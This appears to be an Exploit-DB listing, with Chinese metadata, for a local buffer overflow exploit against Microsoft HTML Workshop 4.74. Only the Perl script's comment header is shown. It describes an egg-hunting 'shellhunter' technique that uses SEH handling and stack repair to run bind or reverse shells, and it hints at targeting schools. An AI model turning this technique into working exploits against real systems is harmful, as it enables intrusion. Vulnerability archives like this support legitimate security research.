标题: Microsoft HTML Workshop 4.74 - Universal Buffer Overflow EDB-ID: 7727 CVE: 2009-0133 2006-0564 类型: LOCAL 平台: WINDOWS 发布日期: 2009-01-12 漏洞利用脚本: #!/usr/bin/perl
# Microsoft HTML Workshop <= 4.74 Universal Buffer Overflow Exploit
# -----------------------------------------------------------------
# Discovered/Exploit by SkD                    (skdrat@hotmail.com)
# -----------------------------------------------------------------
#
# This is a continuation of my new method, shellhunting.
# The exploit is far more advanced than the Amaya's as it runs on
# every system, partly because the shellhunter itself is very much
# reliable and universal.
# The shellhunter does the following tasks to find and exec.
# shellcode:-
#
# 1- Searches through the whole memory of the application.
# 2- Installs a SEH handler so on access violations it won't
#    stop hunting for the shellcode.
# 3- Repairs stack so a stack overflow won't occur (that is what
#    happens when the SEH is called up, many PUSH instructions
#    are called from the relevant modules (ntdll, etc).
# 4- Improved speed by searching through 32 bytes at a time.
# 5- Uses a certain address in memory to store a variable for the
#    search.
#
# It is very stable and will allow any shellcode (bind/reverse shell,
# dl/exec). It will work on ALL Windows NT versions (2k, XP, Vista).
#
# Yeah, I guess that's about it. Took me a few hours to figure out the
# whole thing but nothing is impossible ;).
#
# Oh, I think some schools use this software :) (it's Microsoft's, right?).
#
# You can download the app. from Microsoft's official page:
# ->  http://msdn.microsoft.com/en-us/library/ms669985.aspx
#
# If you are interested in my method and want to learn something new or
# improve your exploitation skills then visit my team's blog at:

#
# Peace out,
# SkD.
